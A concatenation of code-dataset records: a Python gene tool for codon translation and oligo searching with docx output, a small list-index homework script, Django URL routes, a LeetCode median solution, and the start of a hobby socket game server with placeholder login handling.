\"GGC\", \"GGA\", \"GGG\", \"GGT\"]\nserA = [\"AGU\", \"AGC\", \"AGT\"]\nargA = [\"AGA\", \"AGG\"]\n\nUUs = [pheU, leuU]\nUCs = [serU]\nUGs = [cysU, trpU, stopU]\nUAs = [tyrU, stopU]\n\nCUs = [leuC]\nCCs = [proC]\nCGs = [argC]\nCAs = [hisC, glnC]\n\nGUs = [valG]\nGCs = [alaG]\nGGs = [glyG]\nGAs = [aspG, gluG]\n\nAUs = [ileA, start]\nACs = [thrA]\nAGs = [serA, argA]\nAAs = [asnA, lysA]\n\nAminoMap = {\n \"*\": stopU,\n \"M\": start,\n \"F\": pheU,\n \"L\": leuU,\n \"l\": leuC,\n \"I\": ileA,\n \"V\": valG,\n \"S\": serU,\n \"P\": proC,\n \"T\": thrA,\n \"A\": alaG,\n \"Y\": tyrU,\n \"H\": hisC,\n \"Q\": glnC,\n \"N\": asnA,\n \"K\": lysA,\n \"D\": aspG,\n \"E\": gluG,\n \"C\": cysU,\n \"W\": trpU,\n \"R\": argC,\n \"G\": glyG,\n \"s\": serA,\n \"r\": argA\n}\n\n\n# takes in a codon, searches through the Amino dict, and returns the amino acid letter ID\ndef codon_to_AA(codon):\n \"\"\"tests with codons\n >>> codon_to_AA(\"AUG\")\n 'M'\n >>> codon_to_AA(\"ATG\")\n 'M'\n >>> codon_to_AA(\"UUU\")\n 'F'\n >>> codon_to_AA(\"UUC\")\n 'F'\n >>> codon_to_AA(\"TTT\")\n 'F'\n >>> codon_to_AA(\"TTC\")\n 'F'\n >>> codon_to_AA(\"UCU\")\n 'S'\n >>> codon_to_AA(\"UCC\")\n 'S'\n >>> codon_to_AA(\"CCU\")\n 'P'\n >>> codon_to_AA(\"CCG\")\n 'P'\n >>> codon_to_AA(\"ACA\")\n 'T'\n >>> codon_to_AA(\"ACU\")\n 'T'\n >>> codon_to_AA(\"UUA\")\n 'L'\n >>> codon_to_AA(\"CUC\")\n 'L'\n >>> codon_to_AA(\"AUU\")\n 'I'\n >>> codon_to_AA(\"AUA\")\n 'I'\n >>> codon_to_AA(\"GUC\")\n 'V'\n >>> codon_to_AA(\"GTG\")\n 'V'\n >>> codon_to_AA(\"GCG\")\n 'A'\n >>> codon_to_AA(\"GCA\")\n 'A'\n >>> codon_to_AA(\"UAU\")\n 'Y'\n >>> codon_to_AA(\"TAC\")\n 'Y'\n >>> codon_to_AA(\"CAT\")\n 'H'\n >>> codon_to_AA(\"CAC\")\n 'H'\n >>> codon_to_AA(\"CAA\")\n 'Q'\n >>> codon_to_AA(\"CAG\")\n 'Q'\n >>> codon_to_AA(\"AAT\")\n 'N'\n >>> codon_to_AA(\"AAC\")\n 'N'\n >>> codon_to_AA(\"GAT\")\n 'D'\n >>> codon_to_AA(\"GAC\")\n 'D'\n >>> codon_to_AA(\"GAA\")\n 'E'\n >>> codon_to_AA(\"GAG\")\n 'E'\n >>> codon_to_AA(\"TGT\")\n 'C'\n >>> codon_to_AA(\"UGC\")\n 'C'\n >>> codon_to_AA(\"UGC\")\n 'C'\n >>> codon_to_AA(\"TGG\")\n 'W'\n >>> codon_to_AA(\"CGT\")\n 'R'\n >>> codon_to_AA(\"CGG\")\n 'R'\n >>> codon_to_AA(\"AGU\")\n 'S'\n >>> codon_to_AA(\"AGC\")\n 'S'\n >>> codon_to_AA(\"AGA\")\n 'R'\n >>> codon_to_AA(\"AGG\")\n 'R'\n >>> codon_to_AA(\"GGT\")\n 'G'\n >>> codon_to_AA(\"GGA\")\n 'G'\n\n \"\"\"\n curr = []\n if codon[0] == 'U' or codon[0] == 'T':\n if codon[1] == 'U' or codon[1] == 'T':\n curr = UUs\n elif codon[1] == 'C':\n curr = UCs\n elif codon[1] == 'A':\n curr = UAs\n elif codon[1] == 'G':\n curr = UGs\n\n elif codon[0] == 'C':\n if codon[1] == 'U' or codon[1] == 'T':\n curr = CUs\n elif codon[1] == 'C':\n curr = CCs\n elif codon[1] == 'A':\n curr = CAs\n elif codon[1] == 'G':\n curr = CGs\n\n elif codon[0] == 'A':\n if codon[1] == 'U' or codon[1] == 'T':\n curr = AUs\n elif codon[1] == 'C':\n curr = ACs\n elif codon[1] == 'A':\n curr = AAs\n elif codon[1] == 'G':\n curr = AGs\n\n elif codon[0] == 'G':\n if codon[1] == 'U' or codon[1] == 'T':\n curr = GUs\n elif codon[1] == 'C':\n curr = GCs\n elif codon[1] == 'A':\n curr = GAs\n elif codon[1] == 'G':\n curr = GGs\n\n for AA in curr:\n if codon in AA:\n amino = AA\n for key in AminoMap:\n if AminoMap[key] == amino:\n key = key.upper()\n return key\n\n\n# takes in a string of nucleotides and outputs the amino acid sequence\ndef coding_to_AA(code):\n \"\"\"\n >>> coding_to_AA(\"atggttcggaccgtcgcggtg\")\n 'MVRTVAV'\n >>> coding_to_AA(\"CGUCGGTGGAGGCGUUCGAGUGCU\")\n 'RRWRRSSA'\n >>> coding_to_AA(fileread(\"gene.txt\"))\n 'MVRRYLPLNPLRAFEAAARHLSFTRAAIELNVTHAAVSQQVRALEEQLGCVLFTRVSRGLVLTHEGEGLLPVLNEAFDRIADTLECFSHGQFRERVKVGAVGTFAAGWLLPRLAGFYDSHPHIDLHISTHNNHVDPAAEGHDYTIRFGNGAWHESDAELIFSAPHAPLCSPAIAEQLQQPDDVHRFTLLRSFRRDEWSRWLDCAGGTPPSPSQPVMVFDTSLAMAEAAQLGAGVAIAPVCMFSRLLQSGALVQPFAAEITLGGYWLTRLQSRTETPAMQQFARWLLNTAAA*'\n \"\"\"\n codeU = \"\"\n for ch in code:\n codeU += ch.upper()\n\n out = \"\"\n i = 0\n while i + 3 <= len(codeU):\n cur = codeU[i: i + 3]\n amino = codon_to_AA(cur)\n out += amino\n i += 3\n return out\n\n\n# takes in string and removes everything thats not ACTGU\ndef clean_string(s):\n \"\"\"\n >>> clean_string(\"aacaa1234\")\n 'AACAA'\n >>> clean_string(\"acGtua1234\")\n 'ACGTUA'\n >>> clean_string(\" a c G t u a 1 2 3 4 \")\n 'ACGTUA'\n \"\"\"\n\n out = \"\"\n for ch in s:\n ch = ch.upper()\n if ch.isalpha():\n if ch == 'T' or ch == 'U' or ch == 'A' or ch == 'C' or ch == 'G':\n out += ch\n return out\n\n\n# takes in a filename, and outputs a single string of whats inside the file.\ndef fileread(filename):\n \"\"\"\n >>> fileread (\"gene.txt\")\n 'ATGGTCAGACGTTATCTCCCCCTTAACCCGCTGCGCGCCTTTGAGGCCGCCGCCCGTCATCTCAGTTTTACCCGCGCGGCGATTGAGCTGAATGTCACCCATGCCGCCGTCAGCCAGCAGGTCAGGGCGCTGGAAGAACAACTCGGCTGTGTGCTGTTTACCCGCGTCTCGCGCGGGCTGGTGCTGACCCATGAAGGTGAGGGATTACTGCCGGTGCTCAATGAGGCGTTTGACCGGATTGCGGATACTCTGGAGTGTTTTTCTCACGGGCAGTTCCGTGAGCGGGTGAAAGTCGGTGCGGTGGGAACATTTGCCGCAGGCTGGCTGCTGCCGCGTCTGGCCGGATTCTATGACAGCCATCCGCATATTGATCTGCATATCTCCACCCATAACAATCATGTGGACCCGGCGGCGGAAGGGCATGATTATACGATCCGTTTCGGTAACGGCGCGTGGCATGAGTCAGATGCGGAACTGATTTTCAGTGCACCACACGCTCCGCTGTGCTCACCGGCCATTGCAGAACAGTTACAGCAGCCGGATGATGTTCACCGCTTTACCCTGCTGCGCTCATTCCGCCGGGATGAATGGAGCCGCTGGCTGGATTGTGCGGGCGGCACACCGCCTTCCCCGTCACAGCCGGTAATGGTGTTCGATACCTCACTGGCCATGGCCGAGGCGGCACAACTGGGTGCCGGGGTAGCGATCGCACCGGTATGTATGTTCAGCCGCCTGTTACAGTCAGGCGCACTGGTACAGCCGTTTGCCGCAGAAATCACCCTCGGCGGCTACTGGCTGACGCGGTTACAGTCCCGTACGGAAACCCCGGCCATGCAGCAATTCGCCCGCTGGCTGCTGAATACGGCGGCGGCGTAA'\n \"\"\"\n with open(filename, \"r\") as myfile:\n data = myfile.readlines()\n stripped = \"\"\n for elem in data:\n elem = elem.strip('\\n')\n stripped += elem\n s = clean_string(stripped) # stripped is now the full nucleotide sequence which is the product of this fx\n s2 = \"\"\n for ch in s:\n if ch == 'U':\n s2 += 'T'\n else:\n s2 += ch\n\n return s2\n\n\n# takes in a gene, oligo, accaptable snps, and searches gene for matches that have less than the snp count\ndef search(gene, oligos, snps):\n \"\"\"\n >>> search ('ATCGTTATCGTCGGTGGATC', ['GTTT', 'CAAA', 'TTTG', 'AAAC'], 1)\n [('GTTA', 1, 3, 'F')]\n >>> search ('ATCGTTATCGTCGGTGGATC', ['GGATC', 'CCTAG', 'CTAGG', 'GATCC'], 1)\n [('GGATC', 0, 15, 'F')]\n >>> search ('ATCGTTATCGTCGGTGGATC', oligo_complements('GTTATCGTCGG'), 0)\n [('GTTATCGTCGG', 0, 3, 'F')]\n \"\"\"\n matches = []\n i = 0\n j = 0\n while j + len(oligos[0]) - 1 < len(gene):\n snpcountF = 0\n snpcountC = 0\n snpcountR = 0\n snpcountRC = 0\n while i < len(oligos[0]):\n query = j + len(oligos[0])\n cur1 = gene[j:query]\n if cur1[i] != oligos[0][i]:\n snpcountF += 1\n if cur1[i] != oligos[1][i]:\n snpcountC += 1\n if cur1[i] != oligos[2][i]:\n snpcountR += 1\n if cur1[i] != oligos[3][i]:\n snpcountRC += 1\n i += 1\n\n if snpcountF <= snps:\n tupF = (cur1, snpcountF, j, 'F')\n matches.append(tupF)\n if snpcountC <= snps:\n tupC = (cur1, snpcountC, j, 'C')\n matches.append(tupC)\n if snpcountR <= snps:\n tupR = (cur1, snpcountR, j, 'R')\n matches.append(tupR)\n if snpcountRC <= snps:\n tupRC = (cur1, snpcountRC, j, 'B')\n matches.append(tupRC)\n i = 0\n j += 1\n return matches\n\n\n# takes in an oligo and returns a list of the oligo in forward , complement, reverse, reverse complement in that order\ndef oligo_complements(oligo):\n \"\"\"\n >>> oligo_complements('AAAAA')\n ['AAAAA', 'TTTTT', 'AAAAA', 'TTTTT']\n >>> oligo_complements('CCA')\n ['CCA', 'GGT', 'ACC', 'TGG']\n \"\"\"\n complement = \"\"\n reverse = \"\"\n reverse_complement = \"\"\n oligo2 = \"\"\n for ch in oligo:\n if ch == 'A':\n complement += 'T'\n elif ch == 'T' or ch == 'U':\n complement += 'A'\n elif ch == 'C':\n complement += 'G'\n elif ch == 'G':\n complement += 'C'\n for ch in oligo:\n if ch == 'U':\n oligo2 += 'T'\n else:\n oligo2 += ch\n\n i = len(oligo) - 1\n while i >= 0:\n reverse += oligo[i]\n reverse_complement += complement[i]\n i -= 1\n oligos = [oligo2, complement, reverse, reverse_complement]\n return oligos\n\n\ndef search_scrub(matches, searches):\n scrubbed_matches = []\n for match in matches:\n if match[3] == 'F' and searches[0]:\n scrubbed_matches.append(match)\n\n elif match[3] == 'C' and searches[1]:\n scrubbed_matches.append(match)\n\n elif match[3] == 'R' and searches[2]:\n scrubbed_matches.append(match)\n\n elif match[3] == 'B' and searches[3]:\n scrubbed_matches.append(match)\n\n return scrubbed_matches\n\n\n# uses search results to print the highlighted file to a docx document and saves it.\ndef printout(oligos, gene, matches, outfilename, docx_opt, docx_indexes, docx_AA, aa_seq):\n match_indexes = {}\n for elem in matches:\n index = elem[2]\n typ = elem[3]\n match_indexes[index] = typ\n\n document = Document()\n document.add_paragraph()\n s = document.add_paragraph()\n s.add_run(\"your query oligo was: \").bold = True\n s.add_run(oligos[0])\n s = document.add_paragraph()\n s.add_run(\"complement oligo is: \").bold = True\n s.add_run(oligos[1])\n s = document.add_paragraph()\n s.add_run(\"reverse oligo is: \").bold = True\n s.add_run(oligos[2])\n s = document.add_paragraph()\n s.add_run(\"reverse complement oligo is: \").bold = True\n s.add_run(oligos[3])\n i = 0\n end = 0\n on = False\n oligol = len(matches[0][0])\n if docx_opt:\n s = document.add_paragraph()\n s.add_run(\"your highlighted gene is below. forward matches are green, complement matches in yellow, reverse matches in teal, and reverse complement matches in pink. \").bold = True\n p = document.add_paragraph()\n font = p.add_run().font\n while i < len(gene):\n if i in match_indexes or on:\n if i in match_indexes:\n place = i\n mat_typ = match_indexes[i]\n end = place + oligol\n on = True\n if on:\n if mat_typ == 'F':\n #p.highlight_color('GREEN')\n p.add_run(gene[i]).font.highlight_color = WD_COLOR_INDEX.GREEN\n elif mat_typ == 'C':\n #p.highlight_color('YELLOW')\n p.add_run(gene[i]).font.highlight_color = WD_COLOR_INDEX.YELLOW\n elif mat_typ == 'R':\n #p.highlight_color('TEAL')\n p.add_run(gene[i]).font.highlight_color = WD_COLOR_INDEX.TEAL\n elif mat_typ == 'B':\n #p.highlight_color('PINK')\n p.add_run(gene[i]).font.highlight_color = WD_COLOR_INDEX.PINK\n else:\n #p.highlight_color('AUTO')\n p.add_run(gene[i])\n\n if end == i:\n on = False\n i += 1\n document.add_paragraph()\n document.add_paragraph()\n if docx_AA:\n p = document.add_paragraph()\n p.add_run(\"(please note that amino acid conversion does not look for reading frame, and starts from the first 3 nucleotides)\").bold=True\n p = document.add_paragraph()\n p.add_run(\"Amino Acid sequence below:\").bold=True\n p = document.add_paragraph()\n p.add_run(aa_seq)\n\n document.add_paragraph()\n document.add_paragraph()\n if docx_indexes:\n p = document.add_paragraph()\n p.add_run(\"Index match info below:\").bold=True\n for match in matches:\n p = document.add_paragraph()\n if match[3] == 'F':\n p.add_run(\"Forward sequence match found at index \")\n p.add_run(str(match[2]))\n p.add_run(\" with \")\n p.add_run(str(match[1]))\n p.add_run(\" SNPs\")\n p = document.add_paragraph()\n p.add_run(\"Matching sequence : \")\n p.add_run(match[0])\n document.add_paragraph()\n elif match[3] == 'C':\n p.add_run(\"Complement sequence match found at index \")\n p.add_run(str(match[2]))\n p.add_run(\" with \")\n p.add_run(str(match[1]))\n p.add_run(\" SNPs\")\n p = document.add_paragraph()\n p.add_run(\"Matching sequence : \")\n p.add_run(match[0])\n document.add_paragraph()\n elif match[3] == 'R':\n p.add_run(\"Reverse sequence match found at index \")\n p.add_run(str(match[2]))\n p.add_run(\" with \")\n p.add_run(str(match[1]))\n p.add_run(\" SNPs\")\n p = document.add_paragraph()\n p.add_run(\"Matching sequence : \")\n p.add_run(match[0])\n document.add_paragraph()\n elif match[3] == 'B':\n p.add_run(\"Reverse complement sequence match found at index \")\n p.add_run(str(match[2]))\n p.add_run(\" with \")\n p.add_run(str(match[1]))\n p.add_run(\" SNPs\")\n p = document.add_paragraph()\n p.add_run(\"Matching sequence : \")\n p.add_run(match[0])\n document.add_paragraph()\n document.add_paragraph()\n document.add_paragraph()\n\n document.save(outfilename)\n\n\ndef gui_ops():\n import PySimpleGUI as sg # Part 1 - The import\n import colorama\n colorama.init()\n cprint = sg.cprint\n MLINE_KEY = '-ML-' + sg.WRITE_ONLY_KEY # multiline element's key. Indicate it's an output only element\n output_key = MLINE_KEY\n # Define the window's contents\n layout = [[sg.Text(\"Please input name of .txt file to search or paste DNA sequence to search in text box\")],\n [sg.Text(\"(gene highlights may not function beyond 1,000,000 base pairs)\")],\n [sg.Input(), sg.Checkbox(\"check if filename in box\")],\n [sg.Text(\"Please input the oligo you would like to search for\")],\n [sg.Input()],\n [sg.Text(\"select the searches you would like to conduct \")],\n [sg.Checkbox(\"Forward search\"), sg.Checkbox(\"Complement search\"), sg.Checkbox(\"Reverse search\"),\n sg.Checkbox(\"Reverse Compliment search\")],\n [sg.Text(\"Please input the acceptable number of SNPs for your search\")],\n [sg.Input()],\n [sg.Checkbox(\"print amino acid sequence of input gene?\"),\n sg.Checkbox(\"print gene with highlights? (if unchecked will output indexes of matches)\")],\n [sg.Text(\"Docx creation options below. Select all you would like included in your docx file\")],\n [sg.Checkbox(\"create highlighted docx file of your gene?\"), sg.Checkbox(\"include index results?\"), sg.Checkbox(\"include amino acid sequence?\")],\n [sg.Button('Ok'), sg.Button('close')],\n [sg.Multiline(size=(100, 40), key=MLINE_KEY)]\n ]\n\n # Create the window\n window = sg.Window('Welcome to Lazy Elephant III gene tools', layout) # Part 3 - Window Defintion\n sg.cprint_set_output_destination(window, output_key)\n while True:\n event, values = window.read() # Part 4 - Event loop or Window.read call\n if event == 'close' or event == sg.WIN_CLOSED:\n break\n\n if event == 'Ok':\n # variable assignment area\n if values[1]:\n filename = values[0]\n gene = fileread(filename)\n else:\n gene = values[0]\n gene = clean_string(gene)\n oligo = values[2]\n if oligo == '':\n oligo = 'A'\n oligo = oligo.upper()\n if values[7] != '' and values[7].isdigit():\n snps = int(values[7])\n elif values[7] == '':\n snps = 0\n else:\n cprint(\"snp value must be an integer\", key=MLINE_KEY)\n printout_opt = False\n printout_opt = values[9]\n amino_convert_opt = values[8]\n\n # sub-function running area\n\n oligos = oligo_complements(oligo)\n aa_seq = coding_to_AA(gene)\n f_search = values[3]\n c_search = values[4]\n r_search = values[5]\n rc_search = values[6]\n docx_opt = values[10]\n docx_indexes = values[11]\n docx_AA = values[12]\n matches = search(gene, oligos, snps)\n searches = [f_search, c_search, r_search, rc_search]\n scrubbed = search_scrub(matches, searches)\n match_indexes = {}\n for elem in scrubbed:\n index = elem[2]\n typ = elem[3]\n match_indexes[index] = typ\n # console output area\n\n if printout_opt:\n i = 0\n o_len = len(oligo)\n on = False\n mat_typ = \"\"\n end_ind = 0\n cprint(\"(Forward sequence matches: green)\", key=MLINE_KEY, end=' ')\n cprint(\"(Complement sequence matches: yellow)\", key=MLINE_KEY, end=' ')\n cprint(\"(Reverse sequence matches: cyan)\", key=MLINE_KEY, end=' ')\n cprint(\"(Reverse complement sequence matches: pink)\", key=MLINE_KEY, end=' ')\n cprint(key=MLINE_KEY)\n cprint(\"Sequence of Interest\", key=MLINE_KEY)\n while i < len(gene):\n ch = gene[i]\n if i in match_indexes:\n end_ind = i + o_len\n mat_typ = match_indexes[i]\n on = True\n if on:\n if mat_typ == 'F':\n cprint(ch, c=('black', 'green'), key=MLINE_KEY, end='')\n if mat_typ == 'C':\n cprint(ch, c=('black', 'yellow'), key=MLINE_KEY, end='')\n if mat_typ == 'R':\n cprint(ch, c=('black', 'cyan'), key=MLINE_KEY, end='')\n if mat_typ == 'B':\n cprint(ch, c=('black', 'pink'), key=MLINE_KEY, end='')\n else:\n cprint(ch, key=MLINE_KEY, end = '')\n i += 1\n if i == end_ind:\n end_ind = 0\n mat_typ = ''\n on = False\n cprint(key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n if amino_convert_opt:\n cprint(\"Amino acid sequence : \", key=MLINE_KEY)\n cprint(aa_seq, key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n\n if not printout_opt and oligo != '':\n for match in scrubbed:\n if match[3] == 'F':\n cprint(\"Forward sequence match found at index \", key=MLINE_KEY, end='')\n cprint(match[2], key=MLINE_KEY, end='')\n cprint(\" with \", key=MLINE_KEY, end='')\n cprint(match[1], key=MLINE_KEY, end='')\n cprint(\" SNPs\", key=MLINE_KEY)\n cprint(\"Matching sequence : \", key=MLINE_KEY, end='')\n cprint(match[0], key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n elif match[3] == 'C':\n cprint(\"Complement sequence match found at index \", key=MLINE_KEY, end='')\n cprint(match[2], key=MLINE_KEY, end='')\n cprint(\" with \", key=MLINE_KEY, end='')\n cprint(match[1], key=MLINE_KEY, end='')\n cprint(\" SNPs\", key=MLINE_KEY)\n cprint(\"Matching sequence : \", key=MLINE_KEY, end='')\n cprint(match[0], key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n elif match[3] == 'R':\n cprint(\"Reverse sequence match found at index \", key=MLINE_KEY, end='')\n cprint(match[2], key=MLINE_KEY, end='')\n cprint(\" with \", key=MLINE_KEY, end='')\n cprint(match[1], key=MLINE_KEY, end='')\n cprint(\" SNPs\", key=MLINE_KEY)\n cprint(\"Matching sequence : \", key=MLINE_KEY, end='')\n cprint(match[0], key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n elif match[3] == 'B':\n cprint(\"Reverse complement sequence match found at index \", key=MLINE_KEY, end='')\n cprint(match[2], key=MLINE_KEY, end='')\n cprint(\" with \", key=MLINE_KEY, end='')\n cprint(match[1], key=MLINE_KEY, end='')\n cprint(\" SNPs\", key=MLINE_KEY)\n cprint(\"Matching sequence : \", key=MLINE_KEY, end='')\n cprint(match[0], key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n cprint(key=MLINE_KEY)\n if docx_opt or docx_indexes or docx_AA:\n printout(oligos, gene, scrubbed, \"gene_tool_results.docx\", docx_opt, docx_indexes, docx_AA, aa_seq)\n\n # window.close()\n\n\ndef main():\n gui_ops()\n\n\nmain()\n","sub_path":"genetool.py","file_name":"genetool.py","file_ext":"py","file_size_in_byte":23226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"302200670","text":"#У другому списку зберегти інд��кси парних елементів першого списку. Наприклад, якщо дано список зі значеннями 8, 3, 15, 6, 4, 2, то другий\n#треба заповнити значеннями 1, 4, 5, 6 (або 0, 3, 4, 5 - якщо індексація починається з нуля), оскільки саме в цих позиціях першого масиву стоять\n#парні числа.\nimport random\nsize = 10\narray = []\nprint(\"Our list: \")\nfor i in range(size):\n array.append(random.randint(1,20))\n print(\"%3d \" %array[i], end =\"\")\nprint()\narray_of_index = []\nfor i in range(len(array)):\n if array[i] % 2 == 0:\n array_of_index.append(i+1)\nprint(\"Our list of indices of paired elements (starts with 1) : \")\nfor item in array_of_index:\n print(\"%3d\"%item,end=\"\")\n","sub_path":"Home work 1_6.py","file_name":"Home work 1_6.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"216190275","text":"from django.urls import path ,re_path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.home ,name= 'home'),\n path('search/', views.search ,name= 'search'),\n path('recommend/', views.recommend ,name= 'recommend'),\n path('predict/', views.predict ,name= 'predict'),\n\n]","sub_path":"deeplogo/deep/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"300481771","text":"# https://leetcode.com/problems/median-of-two-sorted-arrays/\nimport math\n\nclass Solution:\n def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n n = len(nums1)\n m = len(nums2)\n \n if n == 0:\n return nums2[m//2] if m & 1 else (nums2[m//2] + nums2[(m//2)-1])/2\n if m == 0:\n return nums1[n//2] if n & 1 else (nums1[n//2] + nums1[(n//2)-1])/2\n \n if n >= m:\n smaller, bigger = nums2, nums1\n else:\n smaller, bigger = nums1, nums2\n n, m = m, n\n\n i_min, i_max = -1, m-1 # index when we don't take anything from smaller array(i_min) or take everything(i_max)\n needed = (n+m+1)//2 # how many elements we need to take till lower median\n is_odd = (n+m) & 1 == 1\n while i_min <= i_max:\n i = (i_min + i_max)//2\n j = needed - (i+1) - 1\n\n x = smaller[i] if i >= 0 else None\n y = bigger[j] if j >= 0 else None\n\n x_next = smaller[i+1] if i < m-1 else None\n y_next = bigger[j+1] if j < n-1 else None\n\n if x_next != None and y != None and x_next < y:\n i_min = i+1\n elif y_next != None and x != None and y_next < x:\n i_max = i - 1\n else:\n if is_odd:\n if x != None and y != None:\n return max(x, y)\n if x == None:\n return min(y, x_next)\n if y == None:\n return min(x, y_next)\n else:\n x_next = math.inf if x_next == None else x_next\n y_next = math.inf if y_next == None else y_next\n x = -math.inf if x == None else x\n y = -math.inf if y == None else y\n return (min(x_next, y_next) + max(x, y))/2\n return None\n","sub_path":"leetcode/median_of_two_sorted_arrays.py","file_name":"median_of_two_sorted_arrays.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"448154022","text":"# -*- coding: utf-8 -*-\n\n# Funktioniert ganz gut so\n# janek 11.4.2019\n\n\nimport socket\nimport threading\nimport sys,os\n\nimport struct\n'''https://docs.python.org/2/library/struct.html\nFormat\tC Type\t\t\tPython type\t\t\tStandard size\nx\t\tpad byte\t\tno value\nc\t\tchar\t\t\tstring of length \t1\nb\t\tsigned char\t\tinteger\t\t\t\t1\nB\t\tunsigned char\tinteger\t\t\t\t1\n?\t\t_Bool\t\t\tbool\t\t\t\t1\nh\t\tshort\t\t\tinteger\t\t\t\t2\nH\t\tunsigned \t\tshort integer\t\t2\ni\t\tint\t\t\t\tinteger\t\t\t\t4\nI\t\tunsigned\t\tint integer\t\t\t4\nl\t\tlong\t\t\tinteger\t\t\t\t4\nL\t\tunsigned \t\tlong integer\t\t4\nq\t\tlong \t\t\tlong integer\t\t8\nQ\t\tunsigned \t\tlong long integer\t8\nf\t\tfloat\t\t\tfloat\t\t\t\t4\nd\t\tdouble\t\t\tfloat\t\t\t\t8\ns\t\tchar[]\t\t\tstring\np\t\tchar[]\t\t\tstring\nP\t\tvoid *\t\t\tinteger\n'''\nimport json\n\nfrom game import *\n\n#Consts\nHELPMSG = \t\"Help:\\n\"\\\n\t\t\t\"exit\\n\"\\\n\t\t\t\"\\tquits the server\\n\"\\\n\t\t\t\"userlist\\n\"\\\n\t\t\t\"\\tprints all users\\n\"\n\nSPLIT = \";\"\nDEFAULTPORT = 5555\n\n#all users that are on the server\nusers = []\n\n#User Object used by the server\nclass User:\n\tlastId = 0\n\tdef __init__(self,userName,connection):\n\t\tself.userName = userName\n\t\tself.connection = connection\n\t\tself.id = User.lastId+1\n\t\tUser.lastId = self.id\n\t\tself.player = Player(self.userName)\n\n\tdef __repr__(self):\n\t\treturn \"\".format(self.userName,self.id)\n\n#returns the player with given connection\ndef getUser(con):\n\tfor u in users:\n\t\tif u.connection == con:\n\t\t\treturn u\n\tprint(\"!no player at this connection\")\n\treturn None\n\ndef getUserById(id):\n\tfor u in users:\n\t\tif u.id == id:\n\t\t\treturn u\n\tprint(\"!no player at this id\")\n\treturn None\n\ndef sendStr(stri,con):\n\tcon.send(bytes(stri,\"utf-8\"))\n\ndef decode(data):\n\treturn data.decode(\"utf-8\")\n\n\n\n\n#Messeges\n#!following is outdated\n#[thing] means its not a keyword but a description\n#; is the SPLIT\n\n#alles noch ersetzen mit richtigem logincode\n#login;[username];[password]\ndef login(data,con):\n\tdata = data.split(SPLIT)\n\tif len(data) == 2:\n\t\tprint(\"login with {}\".format(data))\n\t\ttry:\n\t\t\tisFine = True\n\t\t\tfor u in users:\n\t\t\t\tif data[0] == u.userName:\n\t\t\t\t\tisFine = False\n\t\t\tif isFine:\n\t\t\t\twith open(os.path.join(\"users\",data[0])+\".user\",\"r\") as f:\n\t\t\t\t\tu = User(data[0],con)\n\t\t\t\t\tusers.append(u)\n\t\t\t\t\tsendStr(str(u.id),con)\n\t\t\t\t\treturn\n\t\t\telse:\n\t\t\t\tprint(\"!user allrady logedin\")\n\t\texcept FileNotFoundError:\n\t\t\tprint(\"!user not found\")\n\t\t\n\telse:\n\t\tprint(\"!wrong login data\")\n\tsendStr(\"NO\",con)\n\n#logoff;\ndef logoff(data,con):\n\tp = getUser(con)\n\tif p in users:\n\t\tusers.remove(p)\n\t\tprint(\"player {} logged of\".format(p.userName))\n\n#setpos;[x];[y]\ndef setpos(data,con):\n\tsplit = data.split(\";\",1)\n\tx,y = int(split[0]),int(split[1])\n\tgetUser(con).player.pos = Vector(x,y)\n\n#getpos;[player id]\ndef getpos(data,con):\n\tpos = getUserById(int(data)).player.pos\n\tif pos != None:\n\t\tsendStr(\"{};{}\".format(int(pos.x),int(pos.y)),con)\n\telse:\n\t\tsendStr(\"NO\")\n\n#getallplayer;\ndef getallplayer(data,con):\n\talle = []\n\tfor u in users:\n\t\talle.append(str(u.id))\n\tsendStr(\";\".join(alle),con)\n\n#getpos;\n#return [id;x;y;id;x;y...]\ndef getallpos(data,con):\n\talle = []\n\tfor u in users:\n\t\talle.append((\"{};{};{}\".format(u.id,int(u.player.pos.x),int(u.player.pos.y))))\n\tsendStr(\";\".join(alle),con)\n\n\n\n#seed\n#fmt: I\ndef seed(data,con):\n\tprint(\"seed request\")\n\tcon.send(struct.pack(\"I\",42))\n\n\n\n#replace with better things\n#register;[username];[password];[key]\ndef register(data,con):\n\tdata = data.split(b\";\")\n\tif len(data)==3:\n\t\tif data[2] == b\"key\":\n\t\t\t\"\"\"\n\t\t\twith open(os.path.join(\"users\",data[0])+\".user\",\"w\") as f:\n\t\t\t\tp = {\"name\":data[0],\"pass\":data[1]}\n\t\t\t\tf.write(json.dumps(p))\n\t\t\t\tprint(\"new account was made or overriten\")\n\t\t\t\"\"\"\n\t\t\twith open(\"users.txt\",\"w+\") as f:\n\t\t\t\tp = {\"name\":data[0],\"pass\":data[1]}\n\t\t\t\tf.write(json.dumps(p))\n\t\t\t\tprint(f\"user {data[0]} registerd\")\n\t\telse:\n\t\t\tprint(\"!wrong key\")\n\n\n#[data to log]\n#fmt: string unknown length\ndef log(data,con):\n\tprint(\"log>{}\".format(decode(data)))\n\n#fmt: id;vector id;x,y\ndef spawn(data,con):\n\tclassID,x,y = struct.unpack(\"Iff\",data)\n\tserver.world.spawn(classID,Vector(x,y))\n\n\tfor connection in server.connections:\n\t\tif connection != con:\n\t\t\tprint(\"you got this spawn?\")\n\t\t\tconnection.send(struct.pack(\"I\",10))\n\t\t\tconnection.send(data)\n\n#test resons\n\tcon.send(struct.pack(\"I\",10))\n\tcon.send(data)\n\ndef intFromString(string):\n\treturn struct.unpack(\"i\",struct.pack(\"4s\",string))[0]\n\n\nmessages = 